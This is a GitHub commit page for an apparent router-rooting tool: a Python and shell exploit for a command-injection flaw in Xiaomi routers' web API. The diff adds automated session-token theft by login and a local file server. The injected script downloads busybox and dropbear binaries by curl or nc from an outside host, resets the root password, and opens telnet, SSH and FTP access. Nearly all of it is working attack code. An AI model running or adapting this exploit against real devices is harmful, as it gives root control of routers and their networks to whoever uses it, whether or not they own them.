Skip to content

Commit

Permalink
Get stok by login to luci and provide needed files by a local file se…
Browse files Browse the repository at this point in the history
…rver (#113)
  • Loading branch information
luojunqiang authored Jan 31, 2022
1 parent d3a37d0 commit 95afeba
Show file tree
Hide file tree
Showing 4 changed files with 131 additions and 17 deletions.
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
build/*
build/*
__pycache__
73 changes: 63 additions & 10 deletions remote_command_execution_vulnerability.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,13 +17,50 @@
import shutil
import tarfile
import requests
import sys
import re
import time
import random
import hashlib

router_ip_address = "192.168.31.1"
router_ip_address = input("Router IP address [press enter for using the default {}]: ".format(router_ip_address)) or router_ip_address
router_ip_address="miwifi.com"
#router_ip_address = "192.168.31.1"
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address

# get stok
stok = input("stok: ")
# stok = "eeb59f33a51cd46649cd4ad1e3f50ecf"
def get_stok(router_ip_address):
try:
r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address))
except:
print ("Xiaomi router not found...")
return None
try:
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
except:
print ("Xiaomi router not found...")
return None
key = re.findall(r'key: \'(.*)\',', r0.text)[0]
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
router_password = input("Enter router admin password: ")
account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest()
password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest()
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address),
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"})
try:
stok = re.findall(r'"token":"(.*?)"',r1.text)[0]
except:
print("Failed to get stok in login response '{}'".format(r1.text))
return None
return stok

stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ")
print("""There two options to provide the files needed for invasion:
1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""")
use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1"

# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09
# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444
Expand All @@ -48,6 +85,7 @@
print("****************")
print("router_ip_address: " + router_ip_address)
print("stok: " + stok)
print("file provider: " + ("local file server" if use_local_file_server else "remote github repository"))
print("****************")

# Make tar
Expand All @@ -67,14 +105,29 @@
)
# print(r1.text)

def send_test_netspeed_request(router_ip_address, stok, port):
r = requests.get(
"http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port),
proxies=proxies
)
# print(r.text)

# exec download speed test, exec command
print("start exec command...")
r2 = requests.get(
"http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(router_ip_address, stok),
proxies=proxies
)
# print(r2.text)
if use_local_file_server:
from tcp_file_server import TcpFileServer
file_server = TcpFileServer("script_tools")

with file_server:
# The TCP file server will use a random port number.
# And this port number will be sent to the router luci web server through query parameters of testing net speed request here.
# Then in the injected `script.sh`, we can get the client IP address and file server port
# through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files.
send_test_netspeed_request(router_ip_address, stok, file_server.port)
else: # Use remote github repository. port setted to 0.
send_test_netspeed_request(router_ip_address, stok, port=0)

print("done! Now you can connect to the router using several options: (user: root, password: root)")
print("* telnet {}".format(router_ip_address))
print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address))
print("* ftp: using a program like cyberduck")
print("* ftp: using a program like cyberduck")
32 changes: 26 additions & 6 deletions script.sh
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,29 @@ exploit() {
echo "Done exploiting"
}

download_file_from_github() {
# Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250
curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/$1" --insecure --output "$2"
}

download_file_from_tcp_server() {
echo "$1" | nc "${REMOTE_ADDR}" "${QUERY_STRING}" >"$2"
}

get_file() {
src_file="$1"
dst_file="$2"

rm -rf "${dst_file}"

port="${QUERY_STRING}"
if [ x"${port}" = x0 ]; then
download_file_from_github "${src_file}" "${dst_file}"
else
download_file_from_tcp_server "${src_file}" "${dst_file}"
fi
}

setup_password() {
# Override existing password, as the default one set by xiaomi is unknown
# https://www.systutorials.com/changing-linux-users-password-in-one-command-line/
Expand All @@ -22,9 +45,7 @@ setup_busybox() {
pgrep busybox | xargs kill || true

cd /tmp
rm -rf busybox
# Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250
curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/busybox-mipsel" --insecure --output busybox
get_file busybox-mipsel busybox
chmod +x busybox
}

Expand All @@ -44,14 +65,13 @@ start_ssh() {

# Clean
rm -rf dropbear
rm -rf dropbear.tar.bz2
rm -rf /etc/dropbear

# kill/stop dropbear, in case it is running from a previous execution
pgrep dropbear | xargs kill || true

# Donwload dropbear static mipsel binary
curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/dropbearStaticMipsel.tar.bz2" --output dropbear.tar.bz2
get_file dropbearStaticMipsel.tar.bz2 dropbear.tar.bz2
mkdir dropbear
/tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1

Expand Down Expand Up @@ -103,4 +123,4 @@ mtd_backup() {
}

# From https://stackoverflow.com/a/16159057
"$@"
"$@"
40 changes: 40 additions & 0 deletions tcp_file_server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
import socketserver
import threading
import time
import sys

class RequestHandler(socketserver.StreamRequestHandler):
def handle(self):
filename = self.rfile.readline().strip().decode('UTF-8')
print("local file server is getting '{}' for {}.".format(filename, self.client_address[0]))
with open("{}/{}".format(self.server.root_dir, filename), "rb") as f:
self.wfile.write(f.read())
self.wfile.close()

class TcpFileServer:
def __init__(self, root_dir='.'):
HOST, PORT = '', 0
self.server = socketserver.TCPServer((HOST, PORT), RequestHandler)
self.server.root_dir = root_dir
self.ip, self.port = self.server.server_address

def __enter__(self):
self.run()
return self

def run(self):
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir))

def __exit__(self, exc_type, exc_val, exc_tb):
self.server.shutdown()
self.server.server_close()


if __name__ == "__main__":
root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1]
with TcpFileServer(root_dir):
while True:
time.sleep(10)

0 comments on commit 95afeba

Please sign in to comment.